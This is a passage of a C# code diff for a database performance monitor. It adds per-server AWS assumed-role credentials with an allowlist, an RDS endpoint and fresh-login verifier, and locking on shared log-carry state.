+        Func<RegionEndpoint, AWSCredentials, IAmazonSecurityTokenService>? stsFactory = null,
+        Func<RegionEndpoint, Task<AWSCredentials>>? source = null,
+        TimeProvider? clock = null,
+        TimeSpan? refreshDeadline = null,
+        ILogger? logger = null)
+    {
+        _allowlist = allowlist;
+        _installId = installId;
+        _stsFactory = stsFactory;
+        _source = source;
+        _clock = clock;
+        _refreshDeadline = refreshDeadline;
+        _logger = logger;
+    }
+
+    /// <summary>How many roles have an entry.</summary>
+    public int Count => _entries.Count;
+
+    /// <summary>Whether <paramref name="key"/> has an entry.</summary>
+    public bool Contains(AwsRoleKey key) => _entries.ContainsKey(key);
+
+    /// <summary>
+    /// The credentials for <paramref name="key"/> to hand an SDK client built for <paramref name="region"/>.
+    /// Throws <see cref="AwsRoleAssumeException"/> (<see cref="AwsRoleAssumeKind.NotAllowed"/> or
+    /// <see cref="AwsRoleAssumeKind.PartitionMismatch"/>) before any AWS call when the role may not be used here.
+    /// </summary>
+    /// <param name="key">The server's role and external ID.</param>
+    /// <param name="region">The target's AWS region, such as <c>us-east-1</c>.</param>
+    /// <param name="allowlist">The list to check against, instead of the cache's own.</param>
+    public AWSCredentials For(AwsRoleKey key, string region, AwsRoleAllowlist? allowlist = null)
+    {
+        ArgumentException.ThrowIfNullOrWhiteSpace(key.RoleArn);
+        ArgumentException.ThrowIfNullOrWhiteSpace(region);
+
+        var list = allowlist ?? _allowlist ?? AwsRoleAllowlist.Current;
+        if (!list.IsAllowed(key.RoleArn))
+        {
+            throw AwsRoleAssumeException.ForNotAllowed(key, region);
+        }
+
+        var regionEndpoint = RegionEndpoint.GetBySystemName(region);
+        var rolePartition = PartitionOf(key.RoleArn);
+        var regionPartition = regionEndpoint.PartitionName;
+        if (!string.Equals(rolePartition, regionPartition, StringComparison.Ordinal))
+        {
+            throw AwsRoleAssumeException.ForPartitionMismatch(key, region, rolePartition, regionPartition);
+        }
+
+        var entry = _entries.GetOrAdd(key, k => new AwsAssumedRoleCredentials(
+            k, regionEndpoint, _stsFactory, _source, _installId, _clock, _refreshDeadline, _logger));
+        return entry.ForRegion(regionEndpoint);
+    }
+
+    /// <summary>Drops every entry whose key is not in <paramref name="liveKeys"/>: the roles an enabled server still names.</summary>
+    public void Retain(IEnumerable<AwsRoleKey> liveKeys)
+    {
+        ArgumentNullException.ThrowIfNull(liveKeys);
+        var keep = new HashSet<AwsRoleKey>(liveKeys);
+        foreach (var key in _entries.Keys.Where(k => !keep.Contains(k)).ToList())
+        {
+            _entries.TryRemove(key, out _);
+        }
+    }
+
+    /// <summary>The partition segment of a role ARN (<c>arn:aws-cn:iam::...</c> gives <c>aws-cn</c>), or "" when it has none.</summary>
+    internal static string PartitionOf(string roleArn)
+    {
+        var parts = roleArn.Split(':', 3);
+        return parts.Length == 3 && parts[0] == "arn" ? parts[1] : string.Empty;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Targets/AwsRoleKey.cs b/Darling/PerformanceMonitor.Darling.Service/Targets/AwsRoleKey.cs
new file mode 100644
index 0000000000..ee3479cf8e
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Targets/AwsRoleKey.cs
@@ -0,0 +1,43 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Text;
+
+namespace PerformanceMonitor.Darling.Service.Targets;
+
+/// <summary>
+/// The pair that identifies one assumed AWS role (#5452): the role ARN and the external ID sent with it, if any. Two
+/// servers with the same pair share one assumed-role session. A record struct, so equality is by value and ordinal:
+/// an ARN and an external ID are case-sensitive.
+///
+/// <para>The external ID is a secret. The compiler-written <c>ToString()</c> would print every member, so
+/// <see cref="PrintMembers"/> is written by hand: it prints the role ARN and <c>ExternalId = set</c> or
+/// <c>ExternalId = none</c>, never the value. Anything that formats a key (a log line, an exception, a debugger
+/// watch) is safe by construction.</para>
+/// </summary>
+public readonly record struct AwsRoleKey(string RoleArn, string? ExternalId)
+{
+    /// <summary>True when an external ID is set. A null or empty one means none, and none is sent with the request.</summary>
+    public bool HasExternalId => !string.IsNullOrEmpty(ExternalId);
+
+    /// <summary>
+    /// The host check's credential scope for a server that reads under this role: the role ARN and whether an external ID
+    /// is set, never the ID itself (#5452). A different role, or an ID added or removed, is a different scope, so a verdict
+    /// made under one role is never reused under another.
+    /// </summary>
+    public string CredentialScope => $"{RoleArn}|ext={(HasExternalId ? "set" : "none")}";
+
+    /// <summary>The credential scope of a server with this role, or "" (the process credentials) when it has none.</summary>
+    public static string ScopeOf(AwsRoleKey? role) => role is { } key ? key.CredentialScope : string.Empty;
+
+    private bool PrintMembers(StringBuilder builder)
+    {
+        builder.Append("RoleArn = ").Append(RoleArn).Append(", ExternalId = ").Append(HasExternalId ? "set" : "none");
+        return true;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Targets/PostgresTargetProvider.cs b/Darling/PerformanceMonitor.Darling.Service/Targets/PostgresTargetProvider.cs
index cce9848248..59adc6d5c4 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Targets/PostgresTargetProvider.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Targets/PostgresTargetProvider.cs
@@ -112,7 +112,10 @@ reconnect storm the SQLSTATE arm is careful to avoid. */
         var state = pg.SqlState ?? string.Empty;
 
         if (state.StartsWith("08", StringComparison.Ordinal)
-            || state is "57P01" or "57P02" or "57P03")
+            || state is "57P01" or "57P02" or "57P03"
+            /* A refused login (invalid authorization, wrong password) ends the session's standing: dropping the runtime
+               stops every read that rests on the old login, including the RDS and Performance Insights reads. */
+            || state is "28000" or "28P01")
         {
             return CollectorTargetFault.ConnectionFatal;
         }
diff --git a/Darling/PerformanceMonitor.Darling.Service/Targets/RdsCpuIngestor.cs b/Darling/PerformanceMonitor.Darling.Service/Targets/RdsCpuIngestor.cs
index ba684a3c68..5a53c7d4a8 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Targets/RdsCpuIngestor.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Targets/RdsCpuIngestor.cs
@@ -218,19 +218,25 @@ internal static async Task<T> WithCapacityFallbackAsync<T>(
     }
 
     private readonly NpgsqlDataSource _postgres;
-    private readonly Func<string, IAmazonRDS> _rdsClientFactory;
-    private readonly Func<string, IAmazonPI> _piClientFactory;
+    private readonly Func<string, AwsRoleKey?, IAmazonRDS> _rdsClientFactory;
+    private readonly Func<string, AwsRoleKey?, IAmazonPI> _piClientFactory;
     private readonly ILogger? _logger;
+    private readonly RdsEndpointVerifier _verifier;
 
     public RdsCpuIngestor(
         NpgsqlDataSource postgres,
         Func<string, IAmazonRDS>? rdsClientFactory = null,
         Func<string, IAmazonPI>? piClientFactory = null,
-        ILogger? logger = null)
+        ILogger? logger = null,
+        RdsEndpointVerifier? verifier = null,
+        AwsRoleCredentialCache? roles = null,
+        Func<string, AwsRoleKey?, IAmazonRDS>? roleRdsClientFactory = null,
+        Func<string, AwsRoleKey?, IAmazonPI>? rolePiClientFactory = null)
     {
+        _verifier = verifier ?? new RdsEndpointVerifier();
         _postgres = postgres ?? throw new ArgumentNullException(nameof(postgres));
-        _rdsClientFactory = rdsClientFactory ?? (region => new AmazonRDSClient(RegionEndpoint.GetBySystemName(region)));
-        _piClientFactory = piClientFactory ?? (region => new AmazonPIClient(RegionEndpoint.GetBySystemName(region)));
+        _rdsClientFactory = roleRdsClientFactory ?? AwsRoleClients.Rds(rdsClientFactory, roles);
+        _piClientFactory = rolePiClientFactory ?? AwsRoleClients.Pi(piClientFactory, roles);
         _logger = logger;
     }
 
@@ -247,6 +253,8 @@ public async Task<RdsIngestOutcome> IngestAsync(
         int serverId,
         string storageName,
         string host,
+        string? loginConnectionString = null,
+        AwsRoleKey? role = null,
         CancellationToken cancellationToken = default)
     {
         var endpoint = RdsEndpoint.TryParse(host);
@@ -278,7 +286,14 @@ the runner's note now says which one it was. This branch is reached on every cyc
 
         try
         {
-            using var rds = _rdsClientFactory(parsed.Region);
+            /* #5452: a server with its own role reads under it from here on, host check included; a server with no role
+               gets the process credentials exactly as before. */
+            using var rds = _rdsClientFactory(parsed.Region, role);
+
+            /* The host must be the endpoint AWS reports for the id parsed from it before any RDS or Performance
+               Insights read is made. */
+            await _verifier.EnsureAsync(
+                rds, parsed, host, serverId, cancellationToken, loginConnectionString, AwsRoleKey.ScopeOf(role));
 
             var instanceId = parsed.Kind == RdsEndpointKind.ClusterWriter
                 ? await ResolveWriterAsync(rds, parsed.Identifier, cancellationToken)
@@ -292,7 +307,7 @@ the runner's note now says which one it was. This branch is reached on every cyc
                 ? watermark.Value
                 : now - LookbackWindow;
 
-            using var pi = _piClientFactory(parsed.Region);
+            using var pi = _piClientFactory(parsed.Region, role);
 
             /* All nine names in one call — see RequestedMetrics for why that is the whole cost of #3281's
                fix, HostMemoryMetrics for V136's five, and for why neither prefix can be paraphrased —
@@ -322,6 +337,19 @@ an empty sequence is the honest reading of a null here. It is NOT the honest rea
                ArgumentNullException whose whole message is "Value cannot be null. (Parameter 'source')". */
             samples = BuildSamples(response.MetricList, watermark);
         }
+        catch (RdsEndpointMismatchException)
+        {
+            /* Propagated UNWRAPPED so DarlingWorker records the PERMISSIONS outcome with this message, not the IAM
+               text the wrapped type carries. */
+            throw;
+        }
+        catch (Exception ex) when (AwsRoleAssumeException.Find(ex) is { } assume)
+        {
+            /* #5452: the server's AWS role could not be used. Propagated as the role exception itself, not wrapped in the
+               unavailable type: DarlingWorker's role arm records its message (PERMISSIONS for a configuration refusal,
+               ERROR for the rest), and the wrapper's text scan for an authorization refusal must not reclassify it. */
+            throw assume;
+        }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
             /* #2633's fix, shared shape: rethrown so the runner degrades an authorization refusal to
diff --git a/Darling/PerformanceMonitor.Darling.Service/Targets/RdsCsvlogCarry.cs b/Darling/PerformanceMonitor.Darling.Service/Targets/RdsCsvlogCarry.cs
index 5703e79137..c8b28ec302 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Targets/RdsCsvlogCarry.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Targets/RdsCsvlogCarry.cs
@@ -291,6 +291,18 @@ internal sealed class RdsCsvlogCarryBook
     /// </summary>
     private readonly Dictionary<string, RdsCsvlogCarry.CsvCarry> _carry = new(StringComparer.Ordinal);
 
+    /// <summary>#5003: the ingestor, and so this book, is shared by every RDS target of a collector, and the targets'
+    /// runs overlap. Each access to <see cref="_carry"/> takes this lock; none of them awaits while it is held.</summary>
+    private readonly object _lock = new();
+
+    private bool TryGetHeld(string key, out RdsCsvlogCarry.CsvCarry held)
+    {
+        lock (_lock)
+        {
+            return _carry.TryGetValue(key, out held);
+        }
+    }
+
     /// <summary>
     /// The carry to parse this chunk with, and the bookkeeping the eventual commit needs: the carry key
     /// (instance half of <paramref name="resumeKey"/>, or null when it is itself null/empty — the same case
@@ -310,7 +322,7 @@ internal sealed class RdsCsvlogCarryBook
         var carry = RdsCsvlogCarry.CsvCarry.Empty;
         var droppedByRotation = 0;
 
-        if (!string.IsNullOrEmpty(carryKey) && _carry.TryGetValue(carryKey, out var held))
+        if (!string.IsNullOrEmpty(carryKey) && TryGetHeld(carryKey, out var held))
         {
             if (string.Equals(held.FileName, currentFileName, StringComparison.Ordinal))
             {
@@ -358,13 +370,16 @@ public int Commit(string? carryKey, string? currentFileName, RdsCsvlogCarry.CsvC
 
         var nextCarryWithFile = nextCarry with { FileName = currentFileName };
 
-        if (nextCarryWithFile.Partial.Length == 0 && !nextCarryWithFile.StartKnown && !nextCarryWithFile.Skipping)
+        lock (_lock)
         {
-            _carry.Remove(carryKey);
-        }
-        else
-        {
-            _carry[carryKey] = nextCarryWithFile;
+            if (nextCarryWithFile.Partial.Length == 0 && !nextCarryWithFile.StartKnown && !nextCarryWithFile.Skipping)
+            {
+                _carry.Remove(carryKey);
+            }
+            else
+            {
+                _carry[carryKey] = nextCarryWithFile;
+            }
         }
 
         return droppedByRotation;
diff --git a/Darling/PerformanceMonitor.Darling.Service/Targets/RdsDeadlockCarry.cs b/Darling/PerformanceMonitor.Darling.Service/Targets/RdsDeadlockCarry.cs
index bc470bc8d8..5499187169 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Targets/RdsDeadlockCarry.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Targets/RdsDeadlockCarry.cs
@@ -97,6 +97,18 @@ internal sealed class RdsDeadlockCarryBook
 {
     private readonly Dictionary<string, (string Report, string? FileName)> _held = new(StringComparer.Ordinal);
 
+    /// <summary>#5003: the ingestor, and so this book, is shared by every RDS target of a collector, and the targets'
+    /// runs overlap. Each access to <see cref="_held"/> takes this lock; none of them awaits while it is held.</summary>
+    private readonly object _lock = new();
+
+    private bool TryGetHeld(string key, out (string Report, string? FileName) held)
+    {
+        lock (_lock)
+        {
+            return _held.TryGetValue(key, out held);
+        }
+    }
+
     /// <summary>The report held for this chunk's file (empty for none), the key and file name the eventual
     /// <see cref="Commit"/> needs, and the report held for ANOTHER file of the instance (empty for none).
     ///
@@ -108,7 +120,7 @@ internal sealed class RdsDeadlockCarryBook
         var carryKey = RdsCsvlogCarryBook.InstanceKey(resumeKey);
         var fileName = RdsCsvlogCarryBook.ResumeFileName(resumeKey);
 
-        if (!string.IsNullOrEmpty(carryKey) && _held.TryGetValue(carryKey, out var held))
+        if (!string.IsNullOrEmpty(carryKey) && TryGetHeld(carryKey, out var held))
         {
             return string.Equals(held.FileName, fileName, StringComparison.Ordinal)
                 ? (held.Report, carryKey, fileName, string.Empty)
@@ -127,13 +139,16 @@ public void Commit(string? carryKey, string? fileName, string next)
             return;
         }
 
-        if (next.Length == 0)
-        {
-            _held.Remove(carryKey);
-        }
-        else
+        lock (_lock)
         {
-            _held[carryKey] = (next, fileName);
+            if (next.Length == 0)
+            {
+                _held.Remove(carryKey);
+            }
+            else
+            {
+                _held[carryKey] = (next, fileName);
+            }
         }
     }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/Targets/RdsDeadlockIngestor.cs b/Darling/PerformanceMonitor.Darling.Service/Targets/RdsDeadlockIngestor.cs
index c871ab4f00..9126d303ca 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Targets/RdsDeadlockIngestor.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Targets/RdsDeadlockIngestor.cs
@@ -65,10 +65,10 @@ public sealed class RdsDeadlockIngestor
     /// </summary>
     internal Func<IReadOnlyList<PgDeadlocksCollector.Row>, CancellationToken, Task<int>>? RowWriter { get; init; }
 
-    public RdsDeadlockIngestor(NpgsqlDataSource postgres, RdsLogSource? logs = null, ILogger? logger = null, RdsResumeStore? resume = null)
+    public RdsDeadlockIngestor(NpgsqlDataSource postgres, RdsLogSource? logs = null, ILogger? logger = null, RdsResumeStore? resume = null, RdsEndpointVerifier? verifier = null, AwsRoleCredentialCache? roles = null)
     {
         _postgres = postgres ?? throw new ArgumentNullException(nameof(postgres));
-        _logs = logs ?? new RdsLogSource(logger: logger);
+        _logs = logs ?? new RdsLogSource(logger: logger, verifier: verifier, roles: roles);
         _logger = logger;
         _resume = resume;
     }
@@ -96,6 +96,8 @@ public async Task<RdsIngestOutcome> IngestAsync(
         string host,
         bool logTimezoneIsUtc = false,
         bool pgLogUsesCsvlog = false,
+        string? loginConnectionString = null,
+        AwsRoleKey? role = null,
         CancellationToken cancellationToken = default)
     {
         /* #4708: what the last process saved for this server is loaded once, before its first read, so a
@@ -108,7 +110,7 @@ restart resumes from the saved file and marker instead of the newest file's last
         /* #4708: a rotated file is finished and the newest file opened in the SAME cycle (bounded), rather than
            the old file on one cycle and the new one on the next. */
         return await RdsLogSource.RunPassesAsync(
-            () => IngestPassAsync(serverId, storageName, host, logTimezoneIsUtc, pgLogUsesCsvlog, cancellationToken));
+            () => IngestPassAsync(serverId, storageName, host, logTimezoneIsUtc, pgLogUsesCsvlog, loginConnectionString, role, cancellationToken));
     }
 
     /// <summary>
@@ -122,6 +124,8 @@ restart resumes from the saved file and marker instead of the newest file's last
         string host,
         bool logTimezoneIsUtc,
         bool pgLogUsesCsvlog,
+        string? loginConnectionString,
+        AwsRoleKey? role,
         CancellationToken cancellationToken)
     {
         RdsLogSource.LogChunk? chunk;
@@ -130,7 +134,20 @@ restart resumes from the saved file and marker instead of the newest file's last
 
         try
         {
-            chunk = await _logs.ReadNewestAsync(host, kind, cancellationToken);
+            chunk = await _logs.ReadNewestAsync(host, kind, serverId, cancellationToken, loginConnectionString, role);
+        }
+        catch (Exception ex) when (AwsRoleAssumeException.Find(ex) is { } assume)
+        {
+            /* #5452: the server's AWS role could not be used. Propagated as the role exception itself, not wrapped in the
+               unavailable type: DarlingWorker's role arm records its message (PERMISSIONS for a configuration refusal,
+               ERROR for the rest), and the wrapper's text scan for an authorization refusal must not reclassify it. */
+            throw assume;
+        }
+        catch (RdsEndpointMismatchException)
+        {
+            /* The host is not the endpoint AWS reports for this id: propagated UNWRAPPED so DarlingWorker records
+               the PERMISSIONS outcome with this message, not the IAM text the wrapped type carries. */
+            throw;
         }
         catch (PgNoCsvlogFileException)
         {
diff --git a/Darling/PerformanceMonitor.Darling.Service/Targets/RdsEndpointVerifier.cs b/Darling/PerformanceMonitor.Darling.Service/Targets/RdsEndpointVerifier.cs
new file mode 100644
index 0000000000..c1aea0c70e
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Targets/RdsEndpointVerifier.cs
@@ -0,0 +1,375 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Amazon.RDS;
+using Amazon.RDS.Model;
+using Npgsql;
+
+namespace PerformanceMonitor.Darling.Service.Targets;
+
+/// <summary>
+/// The host a target connects to is not the endpoint AWS reports for the RDS instance or cluster that host's name
+/// spells, or AWS does not know that id. Raised before any RDS or Performance Insights read for that target; the runner
+/// records it as a PERMISSIONS outcome and nothing else is read.
+/// </summary>
+public class RdsEndpointMismatchException : Exception
+{
+    public RdsEndpointMismatchException(string message) : base(message)
+    {
+    }
+}
+
+/// <summary>
+/// The target did not accept a fresh, unpooled login, so no RDS or Performance Insights read runs for it. Raised in
+/// the place <see cref="RdsEndpointMismatchException"/> is, and travels the same way (the ingestors let it through
+/// unwrapped and the runner records it as a PERMISSIONS outcome); it names the login, never the AWS side.
+/// </summary>
+public sealed class RdsTargetLoginException : RdsEndpointMismatchException
+{
+    public RdsTargetLoginException(string message) : base(message)
+    {
+    }
+}
+
+/// <summary>
+/// Before an RDS or Performance Insights read, confirm with AWS that the connected host is the endpoint of the instance
+/// or cluster the host names. <see cref="RdsEndpoint.TryParse"/> takes the id from the first label of the host name;
+/// this asks AWS for the addresses it reports for that id and compares them with the host Darling connects to
+/// (ASCII only, case-insensitive, trailing dot trimmed).
+///
+/// <para>An instance is checked against <c>DescribeDBInstances</c> <c>Endpoint.Address</c>; a cluster, reader or custom
+/// endpoint against <c>DescribeDBClusters</c> <c>Endpoint</c>, <c>ReaderEndpoint</c> and <c>CustomEndpoints</c>. An id AWS
+/// does not know reads as a mismatch.</para>
+///
+/// <para>The verdict is cached per (server id, host, id, credential scope), so an edit of the host asks again. A match is
+/// kept for an hour and a mismatch for five minutes, so a fixed AWS side heals within one cycle of the shorter window
+/// and a stale match cannot outlive an instance that was recreated under the same id. A Describe call that fails (a
+/// denied <c>rds:DescribeDBInstances</c>, a throttle) is not cached: it propagates, and the runner reads it exactly as it
+/// reads a denied log call. Each cache holds at most <see cref="MaxEntries"/> entries and drops an expired entry when it
+/// is read.</para>
+///
+/// <para>A login the target refuses is remembered for the same five minutes and the read still ends, so the target sees
+/// at most one fresh login in that window for each server; a changed definition forgets it.</para>
+///
+/// <para>A match is honoured only while the target has accepted an unpooled login within the match lifetime: a login the
+/// target refuses (a revoked role, a changed password) ends the reads even when a pooled session is still open. With no
+/// fresh login there is no RDS or Performance Insights read, and the row names the login.</para>
+///
+/// <para>The credential scope is "" for the process credentials every call uses today. It is the place for the role
+/// identity when a server reads under its own role (#5452), so a role edit never reuses a verdict made under another.</para>
+/// </summary>
+public sealed class RdsEndpointVerifier
+{
+    private static readonly TimeSpan MatchLifetime = TimeSpan.FromHours(1);
+    private static readonly TimeSpan MismatchLifetime = TimeSpan.FromMinutes(5);
+
+    /// <summary>The login probe waits this long for the target to accept a fresh connection.</summary>
+    internal const int LoginProbeSeconds = 5;
+
+    /// <summary>The most entries either cache keeps; past it the oldest entry goes.</summary>
+    internal const int MaxEntries = 4096;
+
+    /* The test assembly's older fixtures predate the check and answer neither Describe call. This switch lets their
+       default verifier skip it; the new tests construct a verifier with enforce: true. A pin test keeps this name out
+       of every other file in the service. */
+    internal static bool TestOnlySkipCheck { get; set; }
+
+    private readonly Func<DateTime> _clock;
+    private readonly bool _enforce;
+    private readonly Func<string?, CancellationToken, Task<string?>> _loginProbe;
+    private readonly ConcurrentDictionary<(int ServerId, string Host, string Id, string Scope), (bool Matches, DateTime AtUtc)> _verdicts = new();
+    private readonly ConcurrentDictionary<(int ServerId, string Host), DateTime> _logins = new();
+    private readonly ConcurrentDictionary<(int ServerId, string Host), (string Failure, DateTime AtUtc)> _loginRefusals = new();
+
+    /// <summary>The verifier every product caller uses: it enforces, with the real login probe.</summary>
+    public RdsEndpointVerifier() : this(null, null, null)
+    {
+    }
+
+    /// <summary>The log source's form: a clock for its own windows, and the same checks as the parameterless one.</summary>
+    internal RdsEndpointVerifier(Func<DateTime>? clock) : this(clock, null, null)
+    {
+    }
+
+    /* Private so no product caller can switch the check off or swap the login probe: the tests reach it through
+       ForTests, and a pin test keeps that name out of every other file in the service. */
+    private RdsEndpointVerifier(
+        Func<DateTime>? clock, bool? enforce, Func<string?, CancellationToken, Task<string?>>? loginProbe)
+    {
+        _clock = clock ?? (() => DateTime.UtcNow);
+        _enforce = enforce ?? !TestOnlySkipCheck;
+        _loginProbe = loginProbe ?? ProbeLoginAsync;
+    }
+
+    /// <summary>
+    /// The tests' way in. <paramref name="loginProbe"/> answers null when the target accepted a fresh login, otherwise
+    /// what failed.
+    /// </summary>
+    internal static RdsEndpointVerifier ForTests(
+        Func<DateTime>? clock = null, bool enforce = true, Func<string?, CancellationToken, Task<string?>>? loginProbe = null)
+        => new(clock, enforce, loginProbe);
+
+    /// <summary>
+    /// Host names compare equal ignoring case and any trailing dots (the absolute form of a DNS name). A host with a
+    /// non-ASCII or control character normalizes to the empty string, which matches nothing. The check runs on the string
+    /// as given, so only ordinary spaces at either end are trimmed.
+    /// </summary>
+    public static string Normalize(string? host)
+    {
+        var raw = host ?? string.Empty;
+
+        if (raw.Any(character => character > 0x7F || char.IsControl(character)))
+        {
+            return string.Empty;
+        }
+
+        return raw.Trim(' ').TrimEnd('.').ToLowerInvariant();
+    }
+
+    /// <summary>Whether <paramref name="host"/> is one of the addresses AWS reported.</summary>
+    public static bool Matches(string host, IEnumerable<string?> reported)
+    {
+        var wanted = Normalize(host);
+
+        return wanted.Length > 0
+            && reported.Any(address => Normalize(address) is { Length: > 0 } normalized
+                && string.Equals(normalized, wanted, StringComparison.OrdinalIgnoreCase));
+    }
+
+    internal static string MismatchMessage(string host, RdsEndpoint.Parsed parsed)
+        => $"The host '{host}' does not match the endpoint AWS reports for RDS "
+            + $"{(parsed.Kind == RdsEndpointKind.Instance ? "instance" : "cluster")} '{parsed.Identifier}', "
+            + "so Darling reads no RDS logs or Performance Insights data for this server.";
+
+    internal static string LoginMessage(string host, string detail)
+        => $"The login to '{host}' could not be confirmed with a fresh connection ({detail}), "
+            + "so Darling reads no RDS logs or Performance Insights data for this server.";
+
+    internal int CachedVerdictCount => _verdicts.Count;
+
+    internal int CachedLoginCount => _logins.Count;
+
+    internal int CachedLoginRefusalCount => _loginRefusals.Count;
+
+    /// <summary>Forgets every verdict and login held for <paramref name="serverId"/> (its definition changed).</summary>
+    public void ClearServer(int serverId)
+    {
+        foreach (var key in _verdicts.Keys.Where(key => key.ServerId == serverId).ToList())
+        {
+            _verdicts.TryRemove(key, out _);
+        }
+
+        foreach (var key in _logins.Keys.Where(key => key.ServerId == serverId).ToList())
+        {
+            _logins.TryRemove(key, out _);
+        }
+
+        foreach (var key in _loginRefusals.Keys.Where(key => key.ServerId == serverId).ToList())
+        {
+            _loginRefusals.TryRemove(key, out _);
+        }
+    }
+
+    /// <param name="loginConnectionString">The target's connection string, for the fresh login a cached or new match
+    /// requires. Null or empty is a failed login: with no way to log in there is nothing to confirm.</param>
+    /// <param name="credentialScope">"" for the process credentials; the role identity under #5452.</param>
+    /// <exception cref="RdsEndpointMismatchException">AWS reports no endpoint equal to <paramref name="host"/>.</exception>
+    /// <exception cref="RdsTargetLoginException">The target did not accept a fresh login.</exception>
+    public async Task EnsureAsync(
+        IAmazonRDS client, RdsEndpoint.Parsed parsed, string host, int serverId, CancellationToken cancellationToken,
+        string? loginConnectionString = null, string credentialScope = "")
+    {
+        if (!_enforce)
+        {
+            return;
+        }
+
+        var key = (serverId, Normalize(host), parsed.Identifier.ToLowerInvariant(), credentialScope);
+        var now = _clock();
+
+        if (_verdicts.TryGetValue(key, out var held))
+        {
+            if (now - held.AtUtc < (held.Matches ? MatchLifetime : MismatchLifetime))
+            {
+                if (!held.Matches)
+                {
+                    throw new RdsEndpointMismatchException(MismatchMessage(host, parsed));
+                }
+
+                await EnsureLoginAsync(serverId, host, loginConnectionString, now, cancellationToken);
+                return;
+            }
+
+            _verdicts.TryRemove(key, out _);
+        }
+
+        var reported = await ReportedAddressesAsync(client, parsed, cancellationToken);
+        var matches = Matches(host, reported);
+
+        Store(_verdicts, key, (matches, now), entry => entry.Item2);
+
+        if (!matches)
+        {
+            throw new RdsEndpointMismatchException(MismatchMessage(host, parsed));
+        }
+
+        await EnsureLoginAsync(serverId, host, loginConnectionString, now, cancellationToken);
+    }
+
+    /// <summary>A match is honoured only when an unpooled login to the target succeeded within the match lifetime.</summary>
+    private async Task EnsureLoginAsync(
+        int serverId, string host, string? connectionString, DateTime now, CancellationToken cancellationToken)
+    {
+        var key = (serverId, Normalize(host));
+
+        if (_logins.TryGetValue(key, out var at))
+        {
+            if (now - at < MatchLifetime)
+            {
+                return;
+            }
+
+            _logins.TryRemove(key, out _);
+        }
+
+        if (_loginRefusals.TryGetValue(key, out var refused))
+        {
+            if (now - refused.AtUtc < MismatchLifetime)
+            {
+                throw new RdsTargetLoginException(LoginMessage(host, refused.Failure));
+            }
+
+            _loginRefusals.TryRemove(key, out _);
+        }
+
+        var failure = await _loginProbe(connectionString, cancellationToken);
+
+        if (failure is not null)
+        {
+            Store(_loginRefusals, key, (failure, now), entry => entry.Item2);
+
+            throw new RdsTargetLoginException(LoginMessage(host, failure));
+        }
+
+        Store(_logins, key, now, loggedInAt => loggedInAt);
+    }
+
+    /// <summary>Adds the entry; at <see cref="MaxEntries"/> the oldest one goes first.</summary>
+    private static void Store<TKey, TValue>(
+        ConcurrentDictionary<TKey, TValue> cache, TKey key, TValue value, Func<TValue, DateTime> atUtc)
+        where TKey : notnull
+    {
+        if (cache.Count >= MaxEntries && !cache.ContainsKey(key))
+        {
+            /* A concurrent clear can empty the cache between the count and this walk: nothing to remove then. */
+            var oldest = cache.OrderBy(pair => atUtc(pair.Value)).Select(pair => (KeyValuePair<TKey, TValue>?)pair).FirstOrDefault();
+
+            if (oldest is { } entry)
+            {
+                cache.TryRemove(entry.Key, out _);
+            }
+        }
+
+        cache[key] = value;
+    }
+
+    /// <summary>
+    /// An unpooled login and SELECT 1 inside <see cref="LoginProbeSeconds"/> seconds. Null when it worked, otherwise the
+    /// SQLSTATE or the exception type: never the exception's text, which can carry the address.
+    /// </summary>
+    internal static async Task<string?> ProbeLoginAsync(string? connectionString, CancellationToken cancellationToken)
+    {
+        if (string.IsNullOrWhiteSpace(connectionString))
+        {
+            return "no connection string";
+        }
+
+        try
+        {
+            var builder = new NpgsqlConnectionStringBuilder(connectionString)
+            {
+                Pooling = false,
+                Timeout = LoginProbeSeconds,
+                CommandTimeout = LoginProbeSeconds,
+            };
+
+            await using var connection = new NpgsqlConnection(builder.ConnectionString);
+            await connection.OpenAsync(cancellationToken).ConfigureAwait(false);
+            await using var command = new NpgsqlCommand("SELECT 1;", connection) { CommandTimeout = LoginProbeSeconds };
+            await command.ExecuteScalarAsync(cancellationToken).ConfigureAwait(false);
+
+            return null;
+        }
+        catch (OperationCanceledException) when (cancellationToken.IsCancellationRequested)
+        {
+            throw;
+        }
+        catch (PostgresException pg)
+        {
+            return $"SQLSTATE {pg.SqlState}";
+        }
+        catch (Exception ex)
+        {
+            return ex.GetType().Name;
+        }
+    }
+
+    private static async Task<List<string?>> ReportedAddressesAsync(
+        IAmazonRDS client, RdsEndpoint.Parsed parsed, CancellationToken cancellationToken)
+    {
+        /* An id AWS does not know reports no address, so it reads as a mismatch. */
+        if (parsed.Kind == RdsEndpointKind.Instance)
+        {
+            DescribeDBInstancesResponse instances;
+
+            try
+            {
+                instances = await client.DescribeDBInstancesAsync(
+                    new DescribeDBInstancesRequest { DBInstanceIdentifier = parsed.Identifier }, cancellationToken);
+            }
+            catch (DBInstanceNotFoundException)
+            {
+                return [];
+            }
+
+            var instance = instances.DBInstances?.FirstOrDefault();
+
+            return instance is null ? [] : [instance.Endpoint?.Address];
+        }
+
+        DescribeDBClustersResponse clusters;
+
+        try
+        {
+            clusters = await client.DescribeDBClustersAsync(
